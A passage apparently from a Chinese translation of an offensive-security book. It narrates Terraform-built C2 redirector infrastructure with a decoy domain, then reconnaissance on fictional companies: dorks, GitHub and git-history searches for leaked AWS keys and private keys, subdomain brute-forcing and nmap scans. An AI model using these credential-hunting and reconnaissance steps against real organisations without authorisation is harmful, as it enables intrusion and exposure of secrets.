      + id          = (known after apply)
      + key_name    = "mykey2"
      + public_key  = "ssh-rsa AAAAB3NzaC1yc2..."
    }

  + resource "aws_security_group" "SSHAdmin" {
      + arn                    = (known after apply)
      + description            = "SSH admin from bouncer"
      + id                     = (known after apply)
--`snip`--
   }

  + resource "aws_instance" "basic_ec2" {
      + ami                          = "ami-0039c41a10b230acb"
      + arn                          = (known after apply)
      + associate_public_ip_address  = true
      + id                           = (known after apply)
      + instance_type                = "t2.micro"
`--snip--`

Plan: 3 to add, 0 to change, 0 to destroy.

列表 3-6:检查属性是否已正确定义

Terraform 将创建三个资源。太好了。

最后一个细节,我们需要指示 AWS 在机器启动并运行时安装 Docker 并启动我们的容器 Nginx。AWS 利用cloud-init包,该包已安装在大多数 Linux 发行版中,用于在机器首次启动时执行脚本。这实际上就是 AWS 注入我们之前定义的公钥的方式。这个脚本被称为“用户数据”。

修改main.tf,添加 bash 命令以安装 Docker 并执行容器,如列表 3-7 所示。

resource "aws_instance" "basic_ec2" {
`--snip--`
1 user_data = <<EOF

#!/bin/bash
DOMAIN="www.linux-update-packets.org";
C2IP="172.31.31.13";

sleep 10
sudo add-apt-repository \
   "deb [arch=amd64] https://download.docker.com/linux/ubuntu \
   $(lsb_release -cs) \
   stable"
apt update
apt install -y docker-ce
docker run -dti -p80:80 -p443:443 \
-e DOMAIN="www.customdomain.com" \
-e C2IP="$C2IP" \
-v /opt/letsencrypt:/etc/letsencrypt \
sparcflow/nginx

EOF
}

列表 3-7:从main.tf启动容器

EOF 块 1 包含一个多行字符串,便于注入由其他 Terraform 资源生成的环境变量的值。在这个例子中,我们硬编码了 C2 的 IP 和域名,但在实际情况下,这些将是负责启动后端 C2 服务器的其他 Terraform 资源的输出。

推向生产环境

我们现在准备通过简单的terraform apply将其推向生产环境,这将再次输出计划并请求手动确认,然后联系 AWS 创建所需的资源:

root@Bounce:~/infra# terraform fmt && terraform apply

aws_key_pair.ssh_key: Creation complete after 0s [id=mykey2]
aws_default_vpc.default: Modifications complete after 1s [id=vpc-b95e4bdf]
--`snip`--
aws_instance.basic_ec2: Creating...
aws_instance.basic_ec2: Creation complete after 32s [id=i-089f2eff84373da3d]

Apply complete! Resources: 3 added, 0 changed, 0 destroyed.
Outputs:

public_ip = 63.xx.xx.105

太棒了。我们可以使用默认的ubuntu用户名和私有 SSH 密钥 SSH 进入实例,确保一切正常运行:

root@Bounce:~/infra# ssh -i .ssh/id_rsa ubuntu@63.xx.xx.105

Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-1044-aws x86_64)

ubuntu@ip-172-31-30-190:~$ **docker ps**
CONTAINER ID        IMAGE            COMMAND
5923186ffda5        sparcflow/ngi...   "/bin/bash /sc..."

完美。现在我们已经完全自动化了服务器的创建、设置和调优,我们可以释放内心的野性,复制这段代码,以生成任意数量的服务器,配备不同的防火墙规则、用户数据脚本以及其他任何设置。当然,更文明的方法是将我们刚写的代码封装在一个 Terraform 模块中,并根据需要传递不同的参数。具体细节,请查看书籍仓库中的infra/ec2_module,网址:www.nostarch.com/how-hack-ghost

我不会在这一已经很密集的章节中逐步讲解重构过程。重构主要是一些表面工作,比如在单独的文件中定义变量,创建多个安全组,将私有 IP 作为用户数据脚本中的变量传递,等等。我相信到现在为止,你已经掌握了足够的工作知识,可以从 GitHub 仓库中提取最终的重构版本,并随心所欲地进行实验。

本章的主要目标是向你展示如何在 60 秒内快速搭建一个功能齐全的攻击基础设施,因为这正是整个操作的核心:自动化的可重复性,这是任何点选操作所无法提供的。

我们只需几条命令即可部署我们的攻击服务器:

root@Bounce:~# git clone `your_repo`
root@Bounce:~# cd infra && terraform init
#update a few variables
root@Bounce:~# terraform apply
`--snip--`

Apply complete! Resources: 7 added, 0 changed, 0 destroyed.
Outputs:

nginx_ip_address = 63.xx.xx.105
c2_ip_address = 63.xx.xx.108

我们的基础设施终于准备好了!

资源

  • 查看 Taylor Brown 的文章《将 Docker 带给 Windows 开发者,使用 Windows Server 容器》,链接:bit.ly/2FoW0nI

  • bit.ly/2ZVRGpy上找到一篇关于容器运行时扩展的精彩文章。**

Liz Rice 通过在她的讲座《在 Go 中从头构建一个容器》中实时编写代码,揭示了容器运行时的神秘面纱,这个讲座可以在 YouTube 上找到。 Scott Lowe 在blog.scottlowe.org/上提供了一个简短的网络命名空间实用介绍。 Jérôme Petazzoni 提供了更多关于命名空间、cgroups 和 UFS 的信息:可以在 YouTube 上观看。**

第二部分

更加努力

没有在旧的东西上进行大量练习,你不太可能发现新的东西。

理查德·P·费曼

第四章:4

健康的跟踪

我们的弹跳服务器正安静地在欧洲某个数据中心低声嗡嗡作响。我们的攻击基础设施正急切等待着我们的第一个命令。在我们释放那些通常充斥着信息安全 Twitter 时间线的攻击工具之前,花几分钟时间了解我们的目标——政治咨询公司 Gretsch Politico——到底是如何运作的。它们的商业模式是什么?提供哪些产品和服务?这些信息将为我们指明方向,帮助我们缩小攻击目标的范围。设定切实可行的目标很可能是我们面临的第一个挑战。他们的主网站(www.gretschpolitico.com)并没有提供太多帮助:它是一个沸腾的、模糊的营销关键词的汤,只有内部人士才能理解。于是,我们将从无害的、面向公众的信息开始。

理解 Gretsch Politico

为了更好地理解这家公司,让我们挖掘所有提到“Gretsch Politico”(GP)的 PowerPoint 文件和 PDF 演示文稿。SlideShare (www.slideshare.net/)证明在这项任务中是一个无价的盟友。许多人在演讲后忘记删除他们的演示文稿,或者将其设置为“公开访问”,为我们提供了大量的信息来开始我们的理解之旅(见图 4-1)。

f04001

图 4-1:一些 Gretsch Politico 的幻灯片

SlideShare 只是托管文档的一个例子,接下来我们将在网上搜索资源,寻找上传到最流行分享平台的文档:Scribd、Google Drive、DocumentCloud 等等。以下搜索词能帮助你在大多数搜索引擎中缩小搜索结果范围:

# Public Google Drive documents
site:docs.google.com "Gretsch politico"

# Documents on documentcloud.org
site:documentcloud.org "Gretsch politico"

# Documents uploaded to Scribd
site:scribd.com "gretschpolitico.com"

# Public PowerPoint presentations
intext:"Gretsch politico" filetype:pptx

# Public PDF documents
intext:"Gretsch politico" filetype:pdf

# .docx documents on GP's website
intext:"Gretsch politico" filetype:docx

Google 可能是你的默认搜索引擎,但你可能会发现,使用其他搜索引擎,如 Yandex、百度、Bing 等,能获得更好的结果,因为 Google 倾向于遵守版权侵权法并对其搜索输出进行审核。

另一个关于公司业务的重要信息来源是元搜索引擎。像 Yippy 和 Biznar 这样的网站聚合了来自各种通用和专业搜索引擎的信息,提供了公司最近活动的概览。

从我的初步搜索来看,很多有趣的文档浮现出来,从提到 GP 的竞选基金报告到针对竞选主管的营销推介。手动浏览这些数据清楚地表明,GP 的核心服务是基于多个数据输入建立选民档案。这些选民档案然后会被研究,并输入到一个算法中,决定哪种推介最适合锁定选民。

寻找隐藏的关系

GP 的算法将数据混合,这一点很清楚,但数据来自哪里呢?要理解 GP,我们需要了解它最紧密的合作伙伴。无论是哪个公司或平台提供了这些数据,必定与 GP 有着紧密的合作。多个文档暗示至少存在两个主要渠道:

  1. 数据经纪人或数据管理平台:这些公司销售从电信公司、信用卡发卡机构、在线商店、本地企业等多个来源收集的数据。

  2. 研究调查和问卷:似乎 GP 以某种方式联系到公众,发送问卷并收集意见。

尽管 GP 的主网站几乎没有提到广告作为接触公众的一种方式,但 PDF 文档中充斥着对某一特定广告平台的引用,该平台在社交媒体和传统媒体网站上都具有巨大的覆盖面。虽然没有直接的链接指向这个广告平台,但得益于这些社交媒体网站,它们深受 GP 喜爱,我们通过 GP 市场副总裁 Jenny 的 Twitter 资料挖掘出图 4-2 中显示的转发。

f04002

图 4-2:一条揭示性的 GP 转发

这条推文中的链接无意中指向了一个在线广告代理机构:MXR Ads。他们在各种网站上投放广告,按千次展示(CPM)收费,悄悄地忙于增加互联网加载时间的工作。

除了 GP 的 Jenny 发出的这条激动的推文外,几乎没有看到两家公司之间的任何可见链接;甚至在 Google 上也几乎找不到反向链接。那么,是什么联系呢?我们通过查阅两家公司的法律记录,快速解开了这个谜团。我们访问了opencorporates.com/,这是一个全球公司数据库,是挖掘公司旧档案、股东名单、关联实体等的极好资源。结果发现,MXR Ads 和 Gretsch Politico 共享大部分相同的董事和高管——事实上,他们几年前甚至共享了相同的地址。

这种错综复杂的联系对于两家公司来说可以非常有利。MXR Ads 收集有关人们与某类产品或品牌互动的原始数据。例如,他们知道,拥有 cookie 83bdfd57a 的人喜欢枪支和狩猎。他们将这些原始数据传输给 Gretsch Politico,后者分析这些数据并将其归类为一个类似的个人资料数据段,标注为“喜欢枪支的人”。然后,GP 可以设计创意和视频,向被标记为“喜欢枪支的人”的群体宣传,告诉他们,除非投票给正确的候选人,否则他们的持枪权将受到威胁。GP 的客户,某个竞选公职的候选人,感到高兴并开始梦想在国会大厦里泡香槟泡泡浴,而 GP 则在每个有功能网站的媒体平台上投放这些广告。当然,MXR Ads 也会收到分发创意广告的任务,从而完成了这个自我循环的利润与绝望的蛇形结构。令人毛骨悚然。

从这种紧密的联系中,我们可以合理地怀疑,攻破 MXR Ads 或 GP 中的任何一个都可能对家公司造成致命打击。他们的数据共享暗示着某种可以利用的联系或连接,我们可以从一个跳到另一个。我们的潜在攻击面刚刚扩展。

现在我们对公司的运作方式有了初步的了解,虽然这种了解还很不完全,但我们可以开始尝试回答一些有趣的问题:

  • 这些数据片段有多精准?它们是在广泛地定位,比如说 18 到 50 岁的所有人群,还是能深入到个人最私密的习惯?

  • GP 的客户是谁?不是他们在幻灯片上宣传的漂亮小马,比如那些试图推广疫苗的健康组织,而是他们在数据库中隐藏的丑陋蛤蟆。

  • 最后,这些创意和广告到底是什么样的?这可能看起来是一个微不足道的问题,但由于它们显然是针对每个目标群体定制的,因此很难实现任何形式的透明度和问责制。

在接下来的几章中,我们将尝试回答这些问题。议程相当雄心勃勃,所以我希望你和我一样兴奋,能一起深入探讨这个数据收集与欺诈的奇异世界。

搜索 GitHub

在几乎每次展示 Gretsch Politico 和 MXR Ads 方法论时,一个反复出现的主题是他们在研究和设计方面的投入,以及他们独有的机器学习算法。像这样的技术导向公司,可能会在公共代码库中发布一些源代码,目的是为了各种用途,比如作为引诱人才的诱饵,向开源世界做出小贡献,部分的 API 文档,代码示例等等。我们或许能找到一些包含被忽视的密码或敏感链接到他们管理平台的材料。希望好运!

在 GitHub 上搜索公共仓库相当简单;你甚至不需要注册一个免费账户。只需查找像“Gretsch Politico”和“MXR Ads”这样的关键词。图 4-3 展示了我们搜索 MXR Ads 仓库时的结果。

f04003

图 4-3:MXR Ads GitHub 仓库

一家公司竟然有 159 个公共仓库?这看起来很多。经过初步检查,明显只有其中少数几个仓库真正属于 MXR Ads 或其员工。剩下的只是一些提到 MXR Ads 的分支(复制的仓库),例如在广告屏蔽列表中。这些分支仓库几乎没有什么价值,所以我们将重点关注这几个原创仓库。幸运的是,GitHub 提供了一些模式来过滤不需要的结果。通过使用 org:repo: 这两个搜索前缀,我们可以将结果限制在我们认为相关的少数几个账户和仓库内。

我们开始寻找硬编码的秘密,比如 SQL 密码、AWS 访问密钥、Google Cloud 私钥、API 令牌和公司广告平台上的测试账户。基本上,我们想要找到任何可能授予我们首次珍贵访问权限的东西。

我们将这些查询输入 GitHub 搜索,看看能找到什么:

# Sample of GitHub queries

org:mxrAds  password
org:mxrAds  aws_secret_access_key
org:mxrAds  aws_key
org:mxrAds  BEGIN RSA PRIVATE KEY
org:mxrAds  BEGIN OPENSSH PRIVATE KEY
org:mxrAds  secret_key
org:mxrAds  hooks.slack.com/services
org:mxrAds  sshpass -p
org:mxrAds  sq0csp
org:mxrAds  apps.googleusercontent.com
org:mxrAds  extension:pem key

GitHub 搜索 API 的一个烦人限制是,它会过滤掉特殊字符。当我们搜索“aws_secret_access_key”时,GitHub 只会返回与这四个单词(aws、secret、access 或 key)中的任意一个匹配的代码。这大概是我唯一一次真心怀念正则表达式的时候。

请记住,这一阶段的侦察不仅仅是盲目抓取悬挂的密码;它还涉及到发现 URL 和 API 端点,并了解两家公司的技术偏好。每个团队都有一些信条,决定使用哪个框架和哪种语言。稍后的时候,这些信息可能帮助我们调整我们的 payload。

不幸的是,初步的 GitHub 搜索查询没有找到任何有价值的结果,所以我们决定使出大招,完全绕过 GitHub 的限制。由于我们只针对少数几个仓库,我们将整个仓库下载到本地磁盘,以便释放出 grep 的全部威力!

我们将从 shhgit 中定义的几百个正则表达式(regex)模式开始,这个工具专门用于在 GitHub 中寻找秘密信息,从普通密码到 API 令牌(github.com/eth0izzle/shhgit/)。这个工具对于防守者也非常有用,因为它会监听 GitHub 的 webhook 事件,标记被推送到 GitHub 的敏感数据——webhook 是一种根据特定事件调用 URL 的方式。在这种情况下,每当正则表达式匹配代码中的字符串时,GitHub 会发送一个 POST 请求到预定义的网页。

我们重新整理了正则表达式模式列表,你可以在 www.hacklikeapornstar.com/secret_regex_patterns.txt 找到该列表,并将其调整为适合 grep 使用的格式。然后,我们下载所有的仓库:

root@Point1:~/# while read p; do \
**git clone www.github.com/MXRads/$p\**
**done <list_repos.txt**

然后开始搜索任务:

root@Point1:~/# curl -vs
https://gist.github.com/HackLikeAPornstar/ff2eabaa8e007850acc158ea3495e95f
> regex_patterns.txt

root@Point1:~/# egrep -Ri -f regex_patterns.txt *

这个快速且简便的命令将搜索下载仓库中的每一个文件。然而,由于我们处理的是 Git 仓库,egrep 会忽略代码的早期版本,这些版本被压缩并隐藏在 Git 的内部文件系统结构中(.git 文件夹)。这些旧版本文件当然是最有价值的资产!想想看,所有因疏忽推送的凭证或硬编码在项目早期阶段的代码。那句著名的“这只是一个临时修复”在有版本控制的仓库中再也没有比这更致命了。

git 命令提供了我们用来回顾提交历史的必要工具:git rev-listgit loggit revert,以及对我们最有用的 git grep。与常规的 grep 不同,git grep 需要一个提交 ID,我们通过 git rev-list 提供这个 ID。将这两个命令使用 xargs(扩展参数)串联,我们可以获取所有提交 ID(仓库中的所有修改记录),并使用 git grep 搜索每个提交中的有趣模式:

root@Point1:~/# git rev-list --all | xargs git grep "BEGIN [EC|RSA|DSA|OPENSSH] PRIVATE KEY"

我们也可以使用 bash 循环自动化此搜索,或者完全依赖像 Gitleaks(github.com/zricethezav/gitleaks/)或 truffleHog(github.com/dxa4481/truffleHog/)这样的工具来处理筛选所有提交文件的工作。

在几个小时内以各种方式扭曲公共源代码后,有一点变得清晰:似乎哪里都没有硬编码的凭证。甚至没有一个假冒的测试账户来提升我们的热情。要么 MXR Ads 和 GP 擅长隐藏,要么我们只是运气不佳。无论如何,我们继续前进!

GitHub 的一个功能是大多数人容易忽视的,它允许在gist.github.co上分享代码片段,这项服务也由pastebin.com/提供。 这两个网站以及其他类似codepen.io/的网站,通常包含代码片段、数据库提取、桶、配置文件以及开发者希望快速交换的任何内容。我们将使用一些搜索引擎命令从这些站点抓取一些结果:

# Documents on gist.github.com
site:gist.github.com "mxrads.com"

# Documents on Pastebin
site:pastebin.com "mxrads.com"

# Documents on JustPaste.it
site:justpaste.it "mxrads.com"

# Documents on PasteFS
site:pastefs.com "mxrads.com"

# Documents on CodePen
site:codepen.io "mxrads.com"

一个搜索结果显示了图 4-4 所示的内容。

f04004

图 4-4:MXR Ads 日志文件片段

这似乎是一个日志文件的提取,直接挂在公共 Gist 上,任何人都可以看到。是不是很有趣?可惜,暂时没有任何关键信息可用,但我们获得了这些独特的 URL:

  • format-true-v1.qa.euw1.mxrads.com

  • dash-v3-beta.gretschpolitico.com

  • www.surveysandstats.com/9df6c8db758b35fa0f1d73. . .

我们在浏览器中测试这些链接。第一个链接超时,第二个链接重定向到谷歌认证页面(参见图 4-5)。

f04005

图 4-5:在日志文件片段中找到的 Gretsch Politico 登录链接

Gretsch Politico 显然订阅了 Google Workspace(前 G Suite)应用来管理其企业邮件,并可能管理其用户目录和内部文档。我们会在稍后开始寻找数据时记住这一点。

第三个 URL,指向图 4-6,看起来很有希望。

f04006

图 4-6:在日志文件片段中找到的 MXR Ad 调查链接

这一定是 MXR Ads 用来收集看似无害信息的调查之一。尝试通过他们的有害表单攻破 MXR Ads 或 Gretsch Politico 很有诱惑力,但我们仍然处于侦察阶段,所以我们只将其记录下来,稍后再尝试。

拉取网站域名

到目前为止,主动侦察并未为我们提供太多入口点。我认为是时候认真开始挖掘所有与 MXR Ads 和 Gretsch Politico 相关的域名和子域名了。我相信我们可以找到比那个被遗忘的 Gist 粘贴中的三个微不足道的网站更多的东西。希望我们能够发现一个孤独的站点,里面藏着一个狡猾的漏洞,欢迎我们进入。

我们将通过首先检查证书日志中的子域名来开始搜索。

来自证书

Censys (censys.io/) 是一个常规扫描证书日志的工具,用于采集所有新颁发的 TLS 证书,并且它是任何渗透测试人员域名发现工具列表中的第一名。证书一旦由证书授权机构颁发,就会被推送到一个名为证书日志的中央仓库。该仓库保留所有证书的二叉树结构,每个节点是其子节点的哈希值,从而保证整个链条的完整性。这个原理与比特币区块链大致相同。理论上,所有颁发的 TLS 证书应当公开发布,以便检测域名欺骗、拼写域名抢注、同形字攻击等恶意方式来欺骗和重定向用户。

我们可以搜索这些证书日志,以筛选出符合特定标准的新注册项,例如“mxr ads”。这个美丽画布的丑陋一面在于,所有的域名和子域名名称都是公开可访问的。那些安全性差、藏匿在模糊域名背后的秘密应用因此很容易被暴露。像 Censys 和crt.sh这样的工具探索这些证书日志,并帮助加速子域名枚举,至少能提高一个数量级——这也是一个残酷的提醒,甚至是最甜美的葡萄也能藏着最苦涩的种子。在图 4-7 中,我们使用 Censys 搜索 gretschpolitico.com 的子域名。

f04007

图 4-7:使用 Censys 查找子域名

透明化就是这样了。看起来 GP 并没有费心注册子域名证书,而是选择了通配符证书:一种适用于任何子域名的通用证书。一个证书来管理所有的子域名。不管这是一个聪明的安全举措,还是纯粹的懒惰,事实是,我们离顶级域名也没有多远。我们在 Censys 中尝试其他顶级域名——gretschpolitico.io、mxrads.tech、mxrads.com、gretschpolitico.news 等——但是同样一无所获。我们的域名列表增长了一个零……但不要绝望!我们还有其他妙招可以使出。

通过收集互联网信息

如果证书不是收集子域名的有效途径,那么也许互联网可以为我们提供帮助。Sublist3r 是一个非常好用的工具,可以从各种来源收集子域名:搜索引擎、PassiveDNS,甚至是 VirusTotal。首先,我们从官方仓库获取该工具并安装所需的依赖:

root@Point1:~/# git clone https://github.com/aboul3la/Sublist3r
root@Point1:sub/# python -m pip install -r requirements.txt

然后我们继续搜索子域名,如清单 4-1 所示。

root@Point1:~/# python sublist3r.py -d gretschpolitico.com
[-] Enumerating subdomains now for gretschpolitico.com
[-] Searching now in Baidu..
[-] Searching now in Yahoo..
[-] Searching now in Netcraft..
[-] Searching now in DNSdumpster..
--`snip`--
[-] Searching now in ThreatCrowd..
[-] Searching now in PassiveDNS..

[-] Total Unique Subdomains Found: 12
dashboard.gretschpolitico.com
m.gretschpolitico.com
--`snip`--

列表 4-1:使用 sublist3r 枚举域名

我们找到了 12 个子域名,这令人鼓舞。我敢打赌,如果是 mxrads.com,结果会更好。毕竟,他们是一个媒体公司。然而,反复使用相同的工具和方法可能会让人感到厌烦。对于 mrxads.com 域名,我们不妨使用另一种工具,通过经典的暴力破解方式,尝试一些常见的子域名关键词,如 staging.mxrads.com、help.mxrads.com、dev.mxrads.com 等。我们可以选择几种工具来完成这个任务。

来自开放 Web 应用程序安全项目(OWASP)的 Amass(github.com/OWASP/Amass/)是用 Golang 编写的,巧妙地使用 goroutines 并行处理 DNS 查询负载。而其他大多数 Python 工具依赖系统的 DNS 解析器,通过调用诸如socket.gethostname等函数来获取域名,Amass 则从零开始构造 DNS 查询,并将其发送到不同的 DNS 服务器,从而避免了使用同一本地解析器所带来的瓶颈。然而,Amass 功能庞大,包含许多其他花哨的功能,如可视化和 3D 图表,因此可能会让人觉得像用一个 10 磅重的锤子去抓背上的痒。很诱人,但也有更轻便的替代工具。

我强烈推荐一个不那么被媒体报道,但却非常强大的工具——Fernmelder(github.com/stealth/fernmelder/)。它用 C 语言编写,代码量只有几百行,可能是我最近尝试过的最有效的 DNS 暴力破解工具。Fernmelder 需要两个输入:一个候选 DNS 名称列表和要使用的 DNS 解析器的 IP 地址。这就是我们将要使用的工具。

首先,我们使用一些awk魔法对公共子域名词典进行处理,创建一个可能的 DNS 名称列表,如列表 4-2 所示。比如,Daniel Miessler 的 SecLists 是一个不错的起点:github.com/danielmiessler/SecLists/.

root@Point1:~/# awk '{print $1".mxrads.com"}' top-10000.txt > sub_mxrads.txt
root@Point1:~/# head sub_mxrads.txt
test.mxrads.com
demo.mxrads.com
video.mxrads.com
`--snip--`

列表 4-2:创建潜在 MXR 广告子域名的列表

这给了我们几千个潜在的子域名候选。至于第二个输入,你可以借用 Fernmelder 仓库中找到的 DNS 解析器,正如列表 4-3 所示。

root@Point1:~/# git clone https://github.com/stealth/fernmelder
root@Point1:~fern/# make

root@Point1:~fern/#**cat sub_mxr.txt | ./fernmelder -4 -N 1.1.1.1 \**
**-N 8.8.8.8 \**
**-N 64.6.64.6 \**
**-N 77.88.8.8 \**
**-N 74.82.42.42 \**
**-N 1.0.0.1 \**
**-N 8.8.4.4 \**
**-N 9.9.9.10 \**
**-N 64.6.65.6 \**
**-N 77.88.8.1 \**
**-A**

列表 4-3:解析我们的子域名候选,查看哪些是真实的

在添加新的解析器时要小心,因为一些服务器可能会作弊,在解析一个不存在的域名时返回默认的 IP 地址,而不是标准的NXDOMAIN回应。命令末尾的-A选项会隐藏任何解析失败的域名。

列表 4-3 中的结果开始以惊人的速度涌现。在我们尝试解析的千个子域名中,几十个返回了有效的 IP 地址:

Subdomain              TTL Class   Type   Rdata
electron.mxrads.net.   60  IN      A      18.189.47.103
cti.mxrads.net.        60  IN      A      18.189.39.101
maestro.mxrads.net.    42  IN      A      35.194.3.51
files.mxrads.net.      5   IN      A      205.251.246.98
staging3.mxrads.net.   60  IN      A      10.12.88.32
git.mxrads.net.        60  IN      A      54.241.52.191
errors.mxrads.net.     59  IN      A      54.241.134.189
jira.mxrads.net.       43  IN      A      54.232.12.89
--`snip`--

看着这些 IP 地址在屏幕上滚动,令人着迷。每一项记录都是一扇门,等待被巧妙地构造或强行入侵,以便让我们获得访问权限。这就是为什么这一步的侦察阶段如此重要:它为我们提供了选择的余地,有超过 100 个域名属于这两个组织!

发现使用的网络基础设施

检查这些站点的传统方法是对这些新发现的域名进行 WHOIS 查询,从中我们可以找出属于该公司的 IP 段。然后,我们可以使用 Nmap 或 Masscan 扫描该范围内的开放端口,希望能发现一个未经认证的数据库或保护不当的 Windows 机器。我们尝试对几个子域名进行 WHOIS 查询:

root@Point1:~/# whois 54.232.12.89
NetRange:       54.224.0.0 - 54.239.255.255
CIDR:           54.224.0.0/12
NetName:        AMAZON-2011L
OrgName:        Amazon Technologies Inc.
OrgId:          AT-88-Z

然而,仔细观察这份 IP 地址列表,我们很快意识到它们与 Gretsch Politico 或 MXR Ads 无关。事实证明,我们收集的大多数子域名都在 AWS 基础设施上运行。这是一个重要的结论。大多数 AWS 上的互联网资源,如负载均衡器、内容分发网络、S3 桶等,都会定期轮换它们的 IP 地址。

这意味着,如果我们将这份 IP 列表传递给 Nmap,并且端口扫描持续超过几个小时,那么这些地址将已经分配给另一个客户,结果将不再相关。当然,公司可以始终将固定 IP 地址附加到服务器并直接暴露其应用程序,但那就像故意把一颗铁球掉在脚趾上。没有人会这么自虐的。

在过去的十年中,我们黑客已经养成了只扫描 IP 地址并跳过 DNS 解析以节省几秒钟的习惯,但在处理云服务提供商时,这可能是致命的。相反,我们应该扫描域名;这样,域名解析会更接近实际扫描,以保证其完整性。

这就是我们接下来要做的。我们对到目前为止收集的所有域名进行快速的 Nmap 扫描,查找开放端口:

root@Point1:~/# nmap -F -sV -iL domains.txt -oA fast_results

我们使用-F选项专注于最常见的端口,使用-sV获取组件的版本,并通过-oA将结果保存为 XML、RAW 和文本格式。此扫描可能需要几分钟的时间,因此在等待扫描完成时,我们将把注意力转向我们找到的属于 MXR Ads 和 Gretsch Politico 的数百个域名和网站的实际内容。

资源

  • 通过搜索研究人员在 Starbucks 拥有的代码库中发现 API 令牌的漏洞报告,找到泄露凭据的示例:hackerone.com/reports/716292/

  • 如果你不熟悉 Git 的内部工作,可以去juristr.com/查找 Juri Strumpflohner 的教程。

第五章:漏洞探索

我们有大约 150 个领域需要探索各种漏洞:代码注入、路径遍历、错误的访问控制等等。对于新手黑客来说,面对如此多的可能性,往往会感到不知所措。该从哪里开始?我们应该在每个网站上花多少时间?每个页面呢?如果我们错过了什么怎么办?

这可能是最能挑战你信心的阶段。我会在本书中分享尽可能多的捷径,但相信我,当我说对于这个特定任务,世界上最古老的秘诀是最有效的:你练得越多,做得越好。你遇到的漏洞越奇妙、不可思议,你获得的信心就越多,不仅是在自己身上,也是在人的错误不可避免性上。

练习成就完美

那么,如何开始呢?完成夺旗(CTF)挑战是一种掌握 SQL 注入、跨站脚本(XSS)和其他 Web 漏洞基本原理的方法。但要注意,这些练习很难反映脆弱应用程序的现实;它们是由爱好者设计的有趣谜题,而不是由于诚实的错误或从 Stack Overflow 帖子中懒得复制粘贴的结果。

学习漏洞的最佳方式是尝试在安全环境中进行实验。例如,通过在实验室中启动一个 Web 服务器和一个数据库,编写一个应用并进行实验,来尝试 SQL 注入。发现不同 SQL 解析器的细微差别,编写自己的过滤器来防止注入,尝试绕过这些过滤器,等等。进入开发者的思维,面对解析未知输入来构建数据库查询或跨设备和会话持久化信息的挑战,你会很快发现自己会做出开发者常常犯的相同危险假设。正如俗话所说,每个伟大漏洞背后都隐藏着一个错误的假设,等待着借机得分。任何栈都适合进行实验:Apache + PHP,Nginx + Django,NodeJS + Firebase,等等。学习如何使用这些框架,了解它们存储设置和机密信息的地方,并确定它们如何对用户输入进行编码或过滤。

随着时间的推移,你将培养出敏锐的眼光,不仅能发现潜在的漏洞参数,还能了解它们是如何被应用程序操控的。你的思维方式将从“我如何让它工作?”转变为“我如何滥用或破坏它?”一旦这个齿轮开始在你脑海中转动,你将无法关闭它——相信我。

我也鼓励你看看别人都在做什么。我非常喜欢阅读研究人员在 Twitter、Medium 和其他平台上分享的漏洞赏金报告,比如 https://pentester.land。你不仅会被工具和方法论所启发,还会在某种程度上得到安慰,知道即使是最庞大的公司也会在最基本的功能上,如密码重置表单,出现失败。

幸好,对于我们的目的,我们并没有进行渗透测试工作,因此时间不是我们最担心的问题。实际上,时间是我们最宝贵的盟友。我们会在每个网站上花费我们认为必要的时间。你的灵感和好奇心就是你所需要的所有权限,可以让你整天玩弄任何给定的参数。

揭示隐藏域名

回到我们的域名列表。当处理一个完整的云环境时,有一个捷径可以帮助我们更好地了解网站,并确实让我们优先考虑它们:我们可以揭示隐藏在公共域名背后的真实域名。云服务提供商通常会为客户创建的每个资源(如服务器、负载均衡器、存储、托管数据库和内容分发端点)生成唯一的 URL。以全球内容分发网络(CDN)Akamai 为例。对于常规服务器,Akamai 会创建一个像 e9657.b.akamaiedge.net 这样的域名,以优化数据包传输到该服务器。但没有公司会认真地将这个无法发音的域名公开使用;他们会把它隐藏在一个像 stellar.mxrads.comvictory.gretschpolitco.com 这样华丽的名字后面。浏览器可能认为它正在与 victory.gretschpolitico.com 通信,但网络数据包实际上是发送到 e9657.b.akamaiedge.net 的 IP 地址,然后再转发到最终目标。

如果我们能够弄清楚这些隐藏的云域名,它们藏在我们获取的每个网站后面,我们也许能推测出这些网站依赖的云服务,从而将重点放在那些更容易出现配置错误的服务上:Akamai 很好,但 AWS S3(存储服务)和 API Gateway(托管代理)更加有趣,正如我们很快会看到的那样。或者,如果我们知道一个网站位于 AWS 应用负载均衡器后面,例如,我们可以预测某些参数过滤,从而调整我们的有效载荷。更有趣的是,我们可以尝试查找“源”或真实的服务器 IP 地址,从而绕过中介云服务。

让我们回到我们的域名列表,并将 DNS 调查再推进一步,以找出这些隐藏的域名。我们要寻找 CNAME 记录(指向其他名称记录的名称记录),而不是 IP 地址(如更常见的 A 记录)。命令 getent hosts 可以提取这些 CNAME 记录:

root@Point1:~/# getent hosts thor.mxrads.com
91.152.253.4    e9657.b.akamaiedge.net stellar.mxrads.com
stellar.mxrads.com.edgekey.net

我们可以看到,thor.mxrads.com 确实位于 Akamai 的分发节点后面。

并非所有替代域名都注册为 CNAME 记录;有些是作为 ALIAS 记录创建的,在名称解析过程中不会明确显示出来。对于这些顽固的情况,我们可以通过查看 AWS 文档中发布的公共范围中的 IP 地址来猜测 AWS 服务,这些文档位于常规参考部分。

我找不到一个简单的工具来执行这种扩展的 DNS 探测,所以我编写了一个脚本来自动化这个过程:DNS Charts,可以在 dnscharts.hacklikeapornstar.com/ 找到。我们构建一个域名列表,然后将其输入到 DNS Charts 中,查找这些 CNAME 记录,并使用一些额外的正则表达式匹配来猜测云服务。结果会以彩色图表的形式展示,突出显示域名之间的基本交互,以及公司使用的主要云服务。图 5-1 显示了该工具的一些示例输出。

f05001

图 5-1:MXR Ads 使用的服务列表

只需一瞥这张图,我们就能清楚地看到首先要关注的最有趣的端点。我们检索到的大多数域名都托管在 AWS 上,并使用以下服务的混合:CloudFront,分发网络;S3,亚马逊的存储服务;以及 ELB,负载均衡器。其余域名使用 Akamai 分发网络。

请注意,GP(顶部中间)仪表板的 URL 指向一个属于 MXR Ads(底部左侧)的域名。我们关于它们紧密关系的猜测是正确的;这在它们各自的基础设施中得到了体现。

我们这里有一些线索。例如,gretschpol-alb-1463804911.eu-west-1. . 子域名指向一个 AWS 应用负载均衡器(AWS ALB),这是由 URL 中的 alb 部分提示的。根据 AWS 文档,这是一个第 7 层负载均衡器,负责分配传入的流量。理论上,第 7 层负载均衡器能够解析 HTTP 请求,甚至在与 AWS Web 应用防火墙(AWS WAF)连接时阻止某些负载。是否真是如此还需要进一步推测,并且当然需要进行主动探测。

